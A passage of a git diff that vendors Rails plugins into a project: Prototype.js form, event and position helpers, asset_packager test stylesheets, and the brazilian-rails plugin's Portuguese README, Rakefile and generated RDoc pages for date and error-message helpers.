element = $(element); + element.focus(); + if (element.select) + element.select(); + } +} + +/*--------------------------------------------------------------------------*/ + +var Form = { + serialize: function(form) { + var elements = Form.getElements($(form)); + var queryComponents = new Array(); + + for (var i = 0; i < elements.length; i++) { + var queryComponent = Form.Element.serialize(elements[i]); + if (queryComponent) + queryComponents.push(queryComponent); + } + + return queryComponents.join('&'); + }, + + getElements: function(form) { + form = $(form); + var elements = new Array(); + + for (var tagName in Form.Element.Serializers) { + var tagElements = form.getElementsByTagName(tagName); + for (var j = 0; j < tagElements.length; j++) + elements.push(tagElements[j]); + } + return elements; + }, + + getInputs: function(form, typeName, name) { + form = $(form); + var inputs = form.getElementsByTagName('input'); + + if (!typeName && !name) + return inputs; + + var matchingInputs = new Array(); + for (var i = 0; i < inputs.length; i++) { + var input = inputs[i]; + if ((typeName && input.type != typeName) || + (name && input.name != name)) + continue; + matchingInputs.push(input); + } + + return matchingInputs; + }, + + disable: function(form) { + var elements = Form.getElements(form); + for (var i = 0; i < elements.length; i++) { + var element = elements[i]; + element.blur(); + element.disabled = 'true'; + } + }, + + enable: function(form) { + var elements = Form.getElements(form); + for (var i = 0; i < elements.length; i++) { + var element = elements[i]; + element.disabled = ''; + } + }, + + findFirstElement: function(form) { + return Form.getElements(form).find(function(element) { + return element.type != 'hidden' && !element.disabled && + ['input', 'select', 'textarea'].include(element.tagName.toLowerCase()); + }); + }, + + focusFirstElement: function(form) { + Field.activate(Form.findFirstElement(form)); + }, + + reset: function(form) { + $(form).reset(); + } +} + +Form.Element = { + serialize: function(element) { + element = $(element); + var method = element.tagName.toLowerCase(); + var parameter = Form.Element.Serializers[method](element); + + if (parameter) { + var key = encodeURIComponent(parameter[0]); + if (key.length == 0) return; + + if (parameter[1].constructor != Array) + parameter[1] = [parameter[1]]; + + return parameter[1].map(function(value) { + return key + '=' + encodeURIComponent(value); + }).join('&'); + } + }, + + getValue: function(element) { + element = $(element); + var method = element.tagName.toLowerCase(); + var parameter = Form.Element.Serializers[method](element); + + if (parameter) + return parameter[1]; + } +} + +Form.Element.Serializers = { + input: function(element) { + switch (element.type.toLowerCase()) { + case 'submit': + case 'hidden': + case 'password': + case 'text': + return Form.Element.Serializers.textarea(element); + case 'checkbox': + case 'radio': + return Form.Element.Serializers.inputSelector(element); + } + return false; + }, + + inputSelector: function(element) { + if (element.checked) + return [element.name, element.value]; + }, + + textarea: function(element) { + return [element.name, element.value]; + }, + + select: function(element) { + return Form.Element.Serializers[element.type == 'select-one' ? + 'selectOne' : 'selectMany'](element); + }, + + selectOne: function(element) { + var value = '', opt, index = element.selectedIndex; + if (index >= 0) { + opt = element.options[index]; + value = opt.value || opt.text; + } + return [element.name, value]; + }, + + selectMany: function(element) { + var value = []; + for (var i = 0; i < element.length; i++) { + var opt = element.options[i]; + if (opt.selected) + value.push(opt.value || opt.text); + } + return [element.name, value]; + } +} + +/*--------------------------------------------------------------------------*/ + +var $F = Form.Element.getValue; + +/*--------------------------------------------------------------------------*/ + +Abstract.TimedObserver = function() {} +Abstract.TimedObserver.prototype = { + initialize: function(element, frequency, callback) { + this.frequency = frequency; + this.element = $(element); + this.callback = callback; + + this.lastValue = this.getValue(); + this.registerCallback(); + }, + + registerCallback: function() { + setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); + }, + + onTimerEvent: function() { + var value = this.getValue(); + if (this.lastValue != value) { + this.callback(this.element, value); + this.lastValue = value; + } + } +} + +Form.Element.Observer = Class.create(); +Form.Element.Observer.prototype = Object.extend(new Abstract.TimedObserver(), { + getValue: function() { + return Form.Element.getValue(this.element); + } +}); + +Form.Observer = Class.create(); +Form.Observer.prototype = Object.extend(new Abstract.TimedObserver(), { + getValue: function() { + return Form.serialize(this.element); + } +}); + +/*--------------------------------------------------------------------------*/ + +Abstract.EventObserver = function() {} +Abstract.EventObserver.prototype = { + initialize: function(element, callback) { + this.element = $(element); + this.callback = callback; + + this.lastValue = this.getValue(); + if (this.element.tagName.toLowerCase() == 'form') + this.registerFormCallbacks(); + else + this.registerCallback(this.element); + }, + + onElementEvent: function() { + var value = this.getValue(); + if (this.lastValue != value) { + this.callback(this.element, value); + this.lastValue = value; + } + }, + + registerFormCallbacks: function() { + var elements = Form.getElements(this.element); + for (var i = 0; i < elements.length; i++) + this.registerCallback(elements[i]); + }, + + registerCallback: function(element) { + if (element.type) { + switch (element.type.toLowerCase()) { + case 'checkbox': + case 'radio': + Event.observe(element, 'click', this.onElementEvent.bind(this)); + break; + case 'password': + case 'text': + case 'textarea': + case 'select-one': + case 'select-multiple': + Event.observe(element, 'change', this.onElementEvent.bind(this)); + break; + } + } + } +} + +Form.Element.EventObserver = Class.create(); +Form.Element.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), { + getValue: function() { + return Form.Element.getValue(this.element); + } +}); + +Form.EventObserver = Class.create(); +Form.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), { + getValue: function() { + return Form.serialize(this.element); + } +}); +if (!window.Event) { + var Event = new Object(); +} + +Object.extend(Event, { + KEY_BACKSPACE: 8, + KEY_TAB: 9, + KEY_RETURN: 13, + KEY_ESC: 27, + KEY_LEFT: 37, + KEY_UP: 38, + KEY_RIGHT: 39, + KEY_DOWN: 40, + KEY_DELETE: 46, + + element: function(event) { + return event.target || event.srcElement; + }, + + isLeftClick: function(event) { + return (((event.which) && (event.which == 1)) || + ((event.button) && (event.button == 1))); + }, + + pointerX: function(event) { + return event.pageX || (event.clientX + + (document.documentElement.scrollLeft || document.body.scrollLeft)); + }, + + pointerY: function(event) { + return event.pageY || (event.clientY + + (document.documentElement.scrollTop || document.body.scrollTop)); + }, + + stop: function(event) { + if (event.preventDefault) { + event.preventDefault(); + event.stopPropagation(); + } else { + event.returnValue = false; + event.cancelBubble = true; + } + }, + + // find the first node with the given tagName, starting from the + // node the event was triggered on; traverses the DOM upwards + findElement: function(event, tagName) { + var element = Event.element(event); + while (element.parentNode && (!element.tagName || + (element.tagName.toUpperCase() != tagName.toUpperCase()))) + element = element.parentNode; + return element; + }, + + observers: false, + + _observeAndCache: function(element, name, observer, useCapture) { + if (!this.observers) this.observers = []; + if (element.addEventListener) { + this.observers.push([element, name, observer, useCapture]); + element.addEventListener(name, observer, useCapture); + } else if (element.attachEvent) { + this.observers.push([element, name, observer, useCapture]); + element.attachEvent('on' + name, observer); + } + }, + + unloadCache: function() { + if (!Event.observers) return; + for (var i = 0; i < Event.observers.length; i++) { + Event.stopObserving.apply(this, Event.observers[i]); + Event.observers[i][0] = null; + } + Event.observers = false; + }, + + observe: function(element, name, observer, useCapture) { + var element = $(element); + useCapture = useCapture || false; + + if (name == 'keypress' && + (navigator.appVersion.match(/Konqueror|Safari|KHTML/) + || element.attachEvent)) + name = 'keydown'; + + this._observeAndCache(element, name, observer, useCapture); + }, + + stopObserving: function(element, name, observer, useCapture) { + var element = $(element); + useCapture = useCapture || false; + + if (name == 'keypress' && + (navigator.appVersion.match(/Konqueror|Safari|KHTML/) + || element.detachEvent)) + name = 'keydown'; + + if (element.removeEventListener) { + element.removeEventListener(name, observer, useCapture); + } else if (element.detachEvent) { + element.detachEvent('on' + name, observer); + } + } +}); + +/* prevent memory leaks in IE */ +if (navigator.appVersion.match(/\bMSIE\b/)) + Event.observe(window, 'unload', Event.unloadCache, false); +var Position = { + // set to true if needed, warning: firefox performance problems + // NOT neeeded for page scrolling, only if draggable contained in + // scrollable elements + includeScrollOffsets: false, + + // must be called before calling withinIncludingScrolloffset, every time the + // page is scrolled + prepare: function() { + this.deltaX = window.pageXOffset + || document.documentElement.scrollLeft + || document.body.scrollLeft + || 0; + this.deltaY = window.pageYOffset + || document.documentElement.scrollTop + || document.body.scrollTop + || 0; + }, + + realOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.scrollTop || 0; + valueL += element.scrollLeft || 0; + element = element.parentNode; + } while (element); + return [valueL, valueT]; + }, + + cumulativeOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + element = element.offsetParent; + } while (element); + return [valueL, valueT]; + }, + + positionedOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + element = element.offsetParent; + if (element) { + p = Element.getStyle(element, 'position'); + if (p == 'relative' || p == 'absolute') break; + } + } while (element); + return [valueL, valueT]; + }, + + offsetParent: function(element) { + if (element.offsetParent) return element.offsetParent; + if (element == document.body) return element; + + while ((element = element.parentNode) && element != document.body) + if (Element.getStyle(element, 'position') != 'static') + return element; + + return document.body; + }, + + // caches x/y coordinate pair to use with overlap + within: function(element, x, y) { + if (this.includeScrollOffsets) + return this.withinIncludingScrolloffsets(element, x, y); + this.xcomp = x; + this.ycomp = y; + this.offset = this.cumulativeOffset(element); + + return (y >= this.offset[1] && + y < this.offset[1] + element.offsetHeight && + x >= this.offset[0] && + x < this.offset[0] + element.offsetWidth); + }, + + withinIncludingScrolloffsets: function(element, x, y) { + var offsetcache = this.realOffset(element); + + this.xcomp = x + offsetcache[0] - this.deltaX; + this.ycomp = y + offsetcache[1] - this.deltaY; + this.offset = this.cumulativeOffset(element); + + return (this.ycomp >= this.offset[1] && + this.ycomp < this.offset[1] + element.offsetHeight && + this.xcomp >= this.offset[0] && + this.xcomp < this.offset[0] + element.offsetWidth); + }, + + // within must be called directly before + overlap: function(mode, element) { + if (!mode) return 0; + if (mode == 'vertical') + return ((this.offset[1] + element.offsetHeight) - this.ycomp) / + element.offsetHeight; + if (mode == 'horizontal') + return ((this.offset[0] + element.offsetWidth) - this.xcomp) / + element.offsetWidth; + }, + + clone: function(source, target) { + source = $(source); + target = $(target); + target.style.position = 'absolute'; + var offsets = this.cumulativeOffset(source); + target.style.top = offsets[1] + 'px'; + target.style.left = offsets[0] + 'px'; + target.style.width = source.offsetWidth + 'px'; + target.style.height = source.offsetHeight + 'px'; + }, + + page: function(forElement) { + var valueT = 0, valueL = 0; + + var element = forElement; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + + // Safari fix + if (element.offsetParent==document.body) + if (Element.getStyle(element,'position')=='absolute') break; + + } while (element = element.offsetParent); + + element = forElement; + do { + valueT -= element.scrollTop || 0; + valueL -= element.scrollLeft || 0; + } while (element = element.parentNode); + + return [valueL, valueT]; + }, + + clone: function(source, target) { + var options = Object.extend({ + setLeft: true, + setTop: true, + setWidth: true, + setHeight: true, + offsetTop: 0, + offsetLeft: 0 + }, arguments[2] || {}) + + // find page position of source + source = $(source); + var p = Position.page(source); + + // find coordinate system to use + target = $(target); + var delta = [0, 0]; + var parent = null; + // delta [0,0] will do fine with position: fixed elements, + // position:absolute needs offsetParent deltas + if (Element.getStyle(target,'position') == 'absolute') { + parent = Position.offsetParent(target); + delta = Position.page(parent); + } + + // correct by body offsets (fixes Safari) + if (parent == document.body) { + delta[0] -= document.body.offsetLeft; + delta[1] -= document.body.offsetTop; + } + + // set position + if(options.setLeft) target.style.left = (p[0] - delta[0] + options.offsetLeft) + 'px'; + if(options.setTop) target.style.top = (p[1] - delta[1] + options.offsetTop) + 'px'; + if(options.setWidth) target.style.width = source.offsetWidth + 'px'; + if(options.setHeight) target.style.height = source.offsetHeight + 'px'; + }, + + absolutize: function(element) { + element = $(element); + if (element.style.position == 'absolute') return; + Position.prepare(); + + var offsets = Position.positionedOffset(element); + var top = offsets[1]; + var left = offsets[0]; + var width = element.clientWidth; + var height = element.clientHeight; + + element._originalLeft = left - parseFloat(element.style.left || 0); + element._originalTop = top - parseFloat(element.style.top || 0); + element._originalWidth = element.style.width; + element._originalHeight = element.style.height; + + element.style.position = 'absolute'; + element.style.top = top + 'px';; + element.style.left = left + 'px';; + element.style.width = width + 'px';; + element.style.height = height + 'px';; + }, + + relativize: function(element) { + element = $(element); + if (element.style.position == 'relative') return; + Position.prepare(); + + element.style.position = 'relative'; + var top = parseFloat(element.style.top || 0) - (element._originalTop || 0); + var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0); + + element.style.top = top + 'px'; + element.style.left = left + 'px'; + element.style.height = element._originalHeight; + element.style.width = element._originalWidth; + } +} + +// Safari returns margins on body which is incorrect if the child is absolutely +// positioned. For performance reasons, redefine Position.cumulativeOffset for +// KHTML/WebKit only. +if (/Konqueror|Safari|KHTML/.test(navigator.userAgent)) { + Position.cumulativeOffset = function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + if (element.offsetParent == document.body) + if (Element.getStyle(element, 'position') == 'absolute') break; + + element = element.offsetParent; + } while (element); + + return [valueL, valueT]; + } +} \ No newline at end of file diff --git a/vendor/plugins/asset_packager/test/assets/stylesheets/bar.css b/vendor/plugins/asset_packager/test/assets/stylesheets/bar.css new file mode 100644 index 0000000..6f56128 --- /dev/null +++ b/vendor/plugins/asset_packager/test/assets/stylesheets/bar.css @@ -0,0 +1,16 @@ +#bar1 { + background: #fff; + color: #000; + text-align: center; +} +#bar2 { + background: #fff; + color: #000; + text-align: center; +} +#bar3 { + background: #fff; + color: #000; + text-align: center; +} + diff --git a/vendor/plugins/asset_packager/test/assets/stylesheets/foo.css b/vendor/plugins/asset_packager/test/assets/stylesheets/foo.css new file mode 100644 index 0000000..66941f9 --- /dev/null +++ b/vendor/plugins/asset_packager/test/assets/stylesheets/foo.css @@ -0,0 +1,16 @@ +#foo1 { + background: #fff; + color: #000; + text-align: center; +} +#foo2 { + background: #fff; + color: #000; + text-align: center; +} +#foo3 { + background: #fff; + color: #000; + text-align: center; +} + diff --git a/vendor/plugins/asset_packager/test/assets/stylesheets/header.css b/vendor/plugins/asset_packager/test/assets/stylesheets/header.css new file mode 100644 index 0000000..473902e --- /dev/null +++ b/vendor/plugins/asset_packager/test/assets/stylesheets/header.css @@ -0,0 +1,16 @@ +#header1 { + background: #fff; + color: #000; + text-align: center; +} +#header2 { + background: #fff; + color: #000; + text-align: center; +} +#header3 { + background: #fff; + color: #000; + text-align: center; +} + diff --git a/vendor/plugins/asset_packager/test/assets/stylesheets/screen.css b/vendor/plugins/asset_packager/test/assets/stylesheets/screen.css new file mode 100644 index 0000000..0d66fd4 --- /dev/null +++ b/vendor/plugins/asset_packager/test/assets/stylesheets/screen.css @@ -0,0 +1,16 @@ +#screen1 { + background: #fff; + color: #000; + text-align: center; +} +#screen2 { + background: #fff; + color: #000; + text-align: center; +} +#screen3 { + background: #fff; + color: #000; + text-align: center; +} + diff --git a/vendor/plugins/asset_packager/test/assets/stylesheets/subdir/bar.css b/vendor/plugins/asset_packager/test/assets/stylesheets/subdir/bar.css new file mode 100644 index 0000000..6f56128 --- /dev/null +++ b/vendor/plugins/asset_packager/test/assets/stylesheets/subdir/bar.css @@ -0,0 +1,16 @@ +#bar1 { + background: #fff; + color: #000; + text-align: center; +} +#bar2 { + background: #fff; + color: #000; + text-align: center; +} +#bar3 { + background: #fff; + color: #000; + text-align: center; +} + diff --git a/vendor/plugins/asset_packager/test/assets/stylesheets/subdir/foo.css b/vendor/plugins/asset_packager/test/assets/stylesheets/subdir/foo.css new file mode 100644 index 0000000..66941f9 --- /dev/null +++ b/vendor/plugins/asset_packager/test/assets/stylesheets/subdir/foo.css @@ -0,0 +1,16 @@ +#foo1 { + background: #fff; + color: #000; + text-align: center; +} +#foo2 { + background: #fff; + color: #000; + text-align: center; +} +#foo3 { + background: #fff; + color: #000; + text-align: center; +} + diff --git a/vendor/plugins/brazilian-rails/README b/vendor/plugins/brazilian-rails/README new file mode 100644 index 0000000..b7e19e4 --- /dev/null +++ b/vendor/plugins/brazilian-rails/README @@ -0,0 +1,32 @@ += Brazilian Rails + +== Intalação + +script/plugin install svn://rubyforge.org/var/svn/brazilian-rails + +Para usar a pluralização em português (Inflector) basta adicionar a linha abaixo no seu enviroment.rb + +require 'inflector_portuguese' + +== Desenvolvedores + +* {Marcos Cóssio Tapajós Martins do Couto}[http://www.improveit.com.br/tapajos] +* {Celestino Ferreira Gomes}[http://www.workingwithrails.com/person/8470-celestino-gomes] +* André Luiz Kupkovski +* Rafael Fraga Walter +* Fernando João Manfroi +* Luciene Souza Luna +* {Vinicius Manhaes Teles}[http://www.improveit.com.br/vinicius] + +== Exemplos. + +* Time +* Date +* Dinheiro. OBS: Para saber como utilizar a classe Dinheiro em um modelo da sua aplicação, verifique o arquivo {README}[link:files/vendor/plugins/brazilian-rails/samples/dinheiro/README.html] no diretório samples/dinheiro. +* Extenso +* ActiveRecord::Errors +* ActionView::Helpers::ActiveRecordHelper +* ActionView::Helpers::DateHelper +* Inflector +* NilClass +* ActiveSupport::CoreExtensions::String::Conversions \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/Rakefile b/vendor/plugins/brazilian-rails/Rakefile new file mode 100644 index 0000000..1b137d7 --- /dev/null +++ b/vendor/plugins/brazilian-rails/Rakefile @@ -0,0 +1,22 @@ +require 'rake' +require 'rake/testtask' +require 'rake/rdoctask' + +desc 'Default: run unit tests.' +task :default => :test + +desc 'Test the Brazilian Rails plugin.' +Rake::TestTask.new(:test) do |t| + t.libs << 'lib' + t.pattern = 'test/**/*_test.rb' + t.verbose = true +end + +desc 'Generate documentation for the Brazilian Rails plugin.' +Rake::RDocTask.new(:rdoc) do |rdoc| + rdoc.rdoc_dir = 'rdoc' + rdoc.title = 'Brazilian Rails' + rdoc.options << '--line-numbers' << '--inline-source' + rdoc.rdoc_files.include('README') + rdoc.rdoc_files.include('lib/**/*.rb') +end diff --git a/vendor/plugins/brazilian-rails/docs/classes/ActionView.html b/vendor/plugins/brazilian-rails/docs/classes/ActionView.html new file mode 100644 index 0000000..c98c629 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/ActionView.html @@ -0,0 +1,107 @@ + + + + + + Module: ActionView + + + + + + + + + + +

    + + + + + + + + + + +
    ModuleActionView
    In: +
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + +
    +

    Classes and Modules

    + + Module ActionView::Helpers
    + +
    + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/ActionView/Helpers.html b/vendor/plugins/brazilian-rails/docs/classes/ActionView/Helpers.html new file mode 100644 index 0000000..08fd4fb --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/ActionView/Helpers.html @@ -0,0 +1,108 @@ + + + + + + Module: ActionView::Helpers + + + + + + + + + + +
    + + + + + + + + + + +
    ModuleActionView::Helpers
    In: +
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + +
    +

    Classes and Modules

    + + Module ActionView::Helpers::ActiveRecordHelper
    +Module ActionView::Helpers::DateHelper
    + +
    + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/ActionView/Helpers/ActiveRecordHelper.html b/vendor/plugins/brazilian-rails/docs/classes/ActionView/Helpers/ActiveRecordHelper.html new file mode 100644 index 0000000..0cf41dd --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/ActionView/Helpers/ActiveRecordHelper.html @@ -0,0 +1,164 @@ + + + + + + Module: ActionView::Helpers::ActiveRecordHelper + + + + + + + + + + +
    + + + + + + + + + + +
    ModuleActionView::Helpers::ActiveRecordHelper
    In: + + vendor/plugins/brazilian-rails/lib/action_view_portuguese.rb + +
    +
    +
    + + +
    + + + +
    + + + +
    + +
    +

    Methods

    + + +
    + +
    + + + + +
    + + + + + + + + + +
    +

    Public Instance methods

    + +
    + + + + +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/action_view_portuguese.rb, line 2
    + 2:   def error_messages_for(*params)
    + 3:     options = params.last.is_a?(Hash) ? params.pop.symbolize_keys : {}
    + 4:     objects = params.collect { |object_name| instance_variable_get('@'+object_name.to_s()) }
    + 5:     objects.compact!
    + 6:     count   = objects.inject(0) {|sum, object| sum + object.errors.count }
    + 7:     unless count.zero?
    + 8:       html = {}
    + 9:       [:id, :class].each do |key|
    +10:         if options.include?(key)
    +11:           value = options[key]
    +12:           html[key] = value unless value.blank?
    +13:         else
    +14:           html[key] = 'errorExplanation'
    +15:         end
    +16:       end
    +17:       header_message = "#{pluralize(count, 'erro')} para #{(options[:object_name] || params.first).to_s.gsub('_', ' ')}"
    +18:       error_messages = objects.map { |object| object.errors.full_messages.map {|msg| content_tag(:li, msg) } }
    +19:       content_tag(:div,
    +20:       content_tag(options[:header_tag] || :h2, header_message) <<
    +21:       content_tag(:p, 'Foram detectados os seguintes erros:') <<
    +22:       content_tag(:ul, error_messages),
    +23:       html
    +24:       )
    +25:     else
    +26:       ''
    +27:     end
    +28:   end
    +
    +
    +
    +
    + + +
    + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/ActionView/Helpers/DateHelper.html b/vendor/plugins/brazilian-rails/docs/classes/ActionView/Helpers/DateHelper.html new file mode 100644 index 0000000..247a1d2 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/ActionView/Helpers/DateHelper.html @@ -0,0 +1,166 @@ + + + + + + Module: ActionView::Helpers::DateHelper + + + + + + + + + + +
    + + + + + + + + + + +
    ModuleActionView::Helpers::DateHelper
    In: + + vendor/plugins/brazilian-rails/lib/action_view_portuguese.rb + +
    +
    +
    + + +
    + + + +
    + + + +
    + +
    +

    Methods

    + + +
    + +
    + + + + +
    + + + + + + + + + +
    +

    Public Instance methods

    + +
    + + + + +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/action_view_portuguese.rb, line 32
    +32:   def distance_of_time_in_words(from_time, to_time = 0, include_seconds = false)
    +33:     from_time = from_time.to_time if from_time.respond_to?(:to_time)
    +34:     to_time = to_time.to_time if to_time.respond_to?(:to_time)
    +35:     distance_in_minutes = (((to_time - from_time).abs)/60).round
    +36:     distance_in_seconds = ((to_time - from_time).abs).round
    +37: 
    +38:     case distance_in_minutes
    +39:     when 0..1
    +40:       return (distance_in_minutes == 0) ? 'menos de um minuto' : '1 minuto' unless include_seconds
    +41:       case distance_in_seconds
    +42:       when 0..4   then 'menos de 5 segundos'
    +43:       when 5..9   then 'menos de 10 segundos'
    +44:       when 10..19 then 'menos de 20 segundos'
    +45:       when 20..39 then 'meio minuto'
    +46:       when 40..59 then 'menos de um minuto'
    +47:       else             '1 minuto'
    +48:       end
    +49: 
    +50:     when 2..44           then "#{distance_in_minutes} minutos"
    +51:     when 45..89          then 'aproximadamente 1 hora'
    +52:     when 90..1439        then "aproximadamente #{(distance_in_minutes.to_f / 60.0).round} horas"
    +53:     when 1440..2879      then '1 dia'
    +54:     when 2880..43199     then "#{(distance_in_minutes / 1440).round} dias"
    +55:     when 43200..86399    then 'aproximadamente 1 mês'
    +56:     when 86400..525959   then "#{(distance_in_minutes / 43200).round} meses"
    +57:     when 525960..1051919 then 'aproximadamente 1 ano'
    +58:     else                      "mais de #{(distance_in_minutes / 525960).round} anos"
    +59:     end
    +60:   end
    +
    +
    +
    +
    + + +
    + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/ActiveRecord.html b/vendor/plugins/brazilian-rails/docs/classes/ActiveRecord.html new file mode 100644 index 0000000..b5bd543 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/ActiveRecord.html @@ -0,0 +1,111 @@ + + + + + + Module: ActiveRecord + + + + + + + + + + +
    + + + + + + + + + + +
    ModuleActiveRecord
    In: + + vendor/plugins/brazilian-rails/lib/active_record_portuguese.rb + +
    +
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + +
    +

    Classes and Modules

    + + Class ActiveRecord::Errors
    + +
    + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/ActiveRecord/Errors.html b/vendor/plugins/brazilian-rails/docs/classes/ActiveRecord/Errors.html new file mode 100644 index 0000000..f885420 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/ActiveRecord/Errors.html @@ -0,0 +1,111 @@ + + + + + + Class: ActiveRecord::Errors + + + + + + + + + + +
    + + + + + + + + + + + + + + +
    ClassActiveRecord::Errors
    In: + + vendor/plugins/brazilian-rails/lib/active_record_portuguese.rb + +
    +
    Parent: + Object +
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/ActiveSupport.html b/vendor/plugins/brazilian-rails/docs/classes/ActiveSupport.html new file mode 100644 index 0000000..3d0f927 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/ActiveSupport.html @@ -0,0 +1,107 @@ + + + + + + Module: ActiveSupport + + + + + + + + + + +
    + + + + + + + + + + +
    ModuleActiveSupport
    In: +
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + +
    +

    Classes and Modules

    + + Module ActiveSupport::CoreExtensions
    + +
    + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/ActiveSupport/CoreExtensions.html b/vendor/plugins/brazilian-rails/docs/classes/ActiveSupport/CoreExtensions.html new file mode 100644 index 0000000..2eb6449 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/ActiveSupport/CoreExtensions.html @@ -0,0 +1,107 @@ + + + + + + Module: ActiveSupport::CoreExtensions + + + + + + + + + + +
    + + + + + + + + + + +
    ModuleActiveSupport::CoreExtensions
    In: +
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + +
    +

    Classes and Modules

    + + Module ActiveSupport::CoreExtensions::String
    + +
    + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/ActiveSupport/CoreExtensions/String.html b/vendor/plugins/brazilian-rails/docs/classes/ActiveSupport/CoreExtensions/String.html new file mode 100644 index 0000000..d1b67ab --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/ActiveSupport/CoreExtensions/String.html @@ -0,0 +1,107 @@ + + + + + + Module: ActiveSupport::CoreExtensions::String + + + + + + + + + + +
    + + + + + + + + + + +
    ModuleActiveSupport::CoreExtensions::String
    In: +
    +
    + + +
    + + + +
    + + + +
    + + +
    + + + + +
    + +
    +

    Classes and Modules

    + + Module ActiveSupport::CoreExtensions::String::Conversions
    + +
    + + + + + + + + + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/ActiveSupport/CoreExtensions/String/Conversions.html b/vendor/plugins/brazilian-rails/docs/classes/ActiveSupport/CoreExtensions/String/Conversions.html new file mode 100644 index 0000000..89fd928 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/ActiveSupport/CoreExtensions/String/Conversions.html @@ -0,0 +1,144 @@ + + + + + + Module: ActiveSupport::CoreExtensions::String::Conversions + + + + + + + + + + +
    + + + + + + + + + + +
    ModuleActiveSupport::CoreExtensions::String::Conversions
    In: + + vendor/plugins/brazilian-rails/lib/date_portuguese.rb + +
    +
    +
    + + +
    + + + +
    + + + +
    + +
    +

    Methods

    + +
    + to_date   +
    +
    + +
    + + + + +
    + + + + + + + + + +
    +

    Public Instance methods

    + +
    + + + + +
    +

    [Source]

    +
    +
    +   # File vendor/plugins/brazilian-rails/lib/date_portuguese.rb, line 2
    +2:   def to_date
    +3:     if /(\d{1,2})\W(\d{1,2})\W(\d{4})/ =~ self
    +4:       ::Date.new($3.to_i, $2.to_i, $1.to_i)
    +5:     else
    +6:       ::Date.new(*ParseDate.parsedate(self)[0..2])
    +7:     end
    +8:   end
    +
    +
    +
    +
    + + +
    + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/Date.html b/vendor/plugins/brazilian-rails/docs/classes/Date.html new file mode 100644 index 0000000..b14e8b7 --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/Date.html @@ -0,0 +1,198 @@ + + + + + + Class: Date + + + + + + + + + + +
    + + + + + + + + + + + + + + +
    ClassDate
    In: + + vendor/plugins/brazilian-rails/lib/date_portuguese.rb + +
    +
    Parent: + Object +
    +
    + + +
    + + + +
    + + + +
    + +
    +

    Methods

    + +
    + to_s_br   + valid?   +
    +
    + +
    + + + + +
    + + + + + + + + + +
    +

    Public Class methods

    + +
    + + + + +
    +

    +Valida se uma string eh uma data valida +

    +

    +Exemplo: +

    +
    + Date.valid?('01/01/2007') ==> true
    + Date.valid?('32/01/2007') ==> false
    +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/date_portuguese.rb, line 26
    +26:   def self.valid?(date)
    +27:     begin
    +28:       date = date.to_date
    +29:       Date.valid_civil?(date.year, date.month, date.day)        
    +30:     rescue
    +31:       return false
    +32:     end
    +33:     true
    +34:   end
    +
    +
    +
    +
    + +

    Public Instance methods

    + +
    + + + + +
    +

    +Retorna a data no padrao brasileiro +

    +

    +Exemplo: +

    +
    + data = Date.new(2007, 9, 27)
    + data.to_s_br ==> "27/09/2007"
    +
    +

    [Source]

    +
    +
    +    # File vendor/plugins/brazilian-rails/lib/date_portuguese.rb, line 17
    +17:   def to_s_br
    +18:     strftime("%d/%m/%Y")
    +19:   end
    +
    +
    +
    +
    + + +
    + + +
    + + + + + + \ No newline at end of file diff --git a/vendor/plugins/brazilian-rails/docs/classes/DateUtils.html b/vendor/plugins/brazilian-rails/docs/classes/DateUtils.html new file mode 100644 index 0000000..286744f --- /dev/null +++ b/vendor/plugins/brazilian-rails/docs/classes/DateUtils.html @@ -0,0 +1,140 @@ + + + + + + Module: DateUtils + + + + + + + + + + +
    + + + + + + + + + + +
    ModuleDateUtils
    In: + + vendor/plugins/brazilian-rails/lib/date_utils.rb + +
    +
    +
    + + +
